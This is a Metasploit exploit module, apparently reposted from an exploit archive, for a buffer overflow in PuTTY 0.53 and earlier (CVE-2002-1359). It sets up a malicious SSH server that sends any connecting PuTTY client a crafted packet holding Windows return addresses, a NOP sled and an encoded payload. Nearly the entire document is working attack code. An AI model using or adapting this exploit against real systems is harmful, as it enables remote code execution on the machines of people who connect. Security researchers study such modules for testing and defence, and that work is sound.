PuTTy.exe <= v0.53 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the PuTTY SSH client that is triggered  
through a validation error in SSH.c.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2002-1359' ],  
[ 'OSVDB', '8044'],  
[ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],  
[ 'BID', '6407'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00",  
'MaxNops' => 0,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],  
[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],  
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'December 16 2002',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)   
  
buffer =  
"SSH-2.0-OpenSSH_3.6.1p2\r\n" +  
"\x00\x00\x4e\xec\x01\x14" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +  
(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +  
(((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +  
[target.ret].pack('V') + make_nops(10) + p.encoded +  
(((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +  
(((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +  
(((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +  
(((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +  
"\x00\x00\x00\x00\x00\x00"  
  
print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")  
  
client.put(buffer)  
handler  
  
service.close_client(client)  
end  
  
end  
`